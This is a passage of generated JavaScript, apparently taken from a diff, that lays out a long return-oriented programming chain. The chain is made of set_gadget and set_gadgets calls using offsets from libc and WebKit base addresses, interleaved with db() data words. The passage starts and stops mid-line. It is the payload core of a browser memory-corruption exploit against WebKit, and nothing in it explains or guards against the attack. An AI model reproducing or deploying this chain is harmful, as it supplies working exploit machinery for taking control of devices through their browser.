+libc_base+713278, +ropchain+576072, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+576200, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+576192, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+576216, +ropchain+576232, +libc_base+489696, +ropchain+576248, +libc_base+489696, +ropchain+578640, +libc_base+740138, +libc_base+713278, +ropchain+576304, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964196, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+576384, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+576440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+576536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963940, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+576624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+576640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+576800, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+576832, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+576784, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+576816, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+576992, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+576944, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+576960, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+577072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+577088, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+577176, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+577232, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+577360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+577392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+577376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+577552, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+577584, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+577536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+577568, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+577664, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+577680, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+577776, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+577760, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+577880, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+597168, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+577968, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963940, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+578056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+578072, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+578232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+578264, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+578216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+578248, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+578360, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+578344, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+578448, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+578520, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963940, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+578584, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+574936, +libc_base+768796, +ropchain+578704, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+593184, +libc_base+863109, +libc_base+713278, +ropchain+578824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+578840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+578808, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+578952, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+578936, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +libc_base+713278, +ropchain+579088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+579104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+579072, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+579232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+579264, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+579248, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+579376, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+579368, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+579392, +ropchain+585752, +libc_base+388400, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+713278, +ropchain+579472, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+579544, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+579616, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+579688, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+579760, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+579832, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+579904, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+579976, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580048, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580120, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580192, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580264, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580336, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580408, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580480, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+580552, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+740138, +libc_base+713278 +]); +db([4294963908, 4294967295]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294963916, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+580704, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294963920, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+580800, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+580864, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+580960, +webkit_base+4687784, +libc_base+713278 +]); +db([4294963908, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([15, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+581120, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+599824, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+581256, +webkit_base+4687784, +libc_base+713278 +]); +db([4294963908, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([9, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+581416, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+599824, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294963904, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+581544, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+581600, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+581664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963904, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+581752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+581768, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+581928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+581960, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+581912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+581944, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+582040, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+582056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+582152, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+582136, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+582248, +webkit_base+4687784, +libc_base+768796 +]); +db([16, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([16, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+582392, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+582408, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+582376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+582584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+582600, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+582568, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+582728, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+582760, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+582744, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+582872, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+582864, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+582888, +ropchain+582904, +libc_base+489696, +ropchain+582920, +libc_base+489696, +ropchain+585544, +libc_base+713278, +ropchain+582976, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963904, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+583064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+583080, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+583240, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+583272, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+583224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+583256, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+583368, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+583352, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+583472, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+597168, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+583616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+583632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+583600, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+583744, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+583728, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +libc_base+713278, +ropchain+583880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+583896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+583864, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+584024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+584056, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+584040, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+584168, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+584160, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+584184, +ropchain+584816, +libc_base+713278, +ropchain+584240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963904, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+584328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+584344, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+584504, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+584536, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+584488, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+584520, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+584632, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+584616, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604352, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+584784, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+584872, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963904, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+584960, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+584976, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+585136, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+585168, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+585120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+585152, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+585264, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+585248, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+585352, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+585424, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963904, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+585488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+581608, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604368, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+585704, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+586544, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+585544, +libc_base+388400, +libc_base+713278, +ropchain+585808, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+585952, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+585968, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+585936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+586072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+586088, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+586208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+586192, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+586296, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+586280, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+586400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+586416, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+586536, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+586520, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 